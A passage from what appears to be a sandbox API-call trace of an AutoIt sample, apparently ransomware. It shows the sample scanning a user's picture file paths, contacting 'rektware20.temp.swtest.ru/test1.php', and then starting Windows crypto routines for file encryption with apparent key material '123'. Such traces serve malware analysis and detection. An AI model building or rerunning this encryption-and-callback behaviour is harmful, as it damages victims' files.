lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.523] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.523] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.524] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.524] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.524] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.524] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.524] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.524] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.524] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.524] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0060.524] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.524] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.524] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.526] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.527] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.527] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.527] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.527] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629480, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629480*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.527] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.527] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.528] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.528] CloseHandle (hObject=0x0) returned 0 [0060.528] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.528] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0060.528] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.528] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.528] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.528] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.529] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.529] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.529] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.529] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.529] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.529] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.529] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.529] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.529] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.530] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.530] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.530] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.530] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.531] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.531] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa890) returned 1 [0060.532] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.532] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.533] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.533] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.533] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.533] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.533] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.534] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.534] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.534] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.535] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.535] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.535] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.535] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.535] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.535] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.535] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.535] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.536] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.536] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.536] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.536] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.536] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.537] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.537] CryptCreateHash (in: hProv=0x17aa890, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, 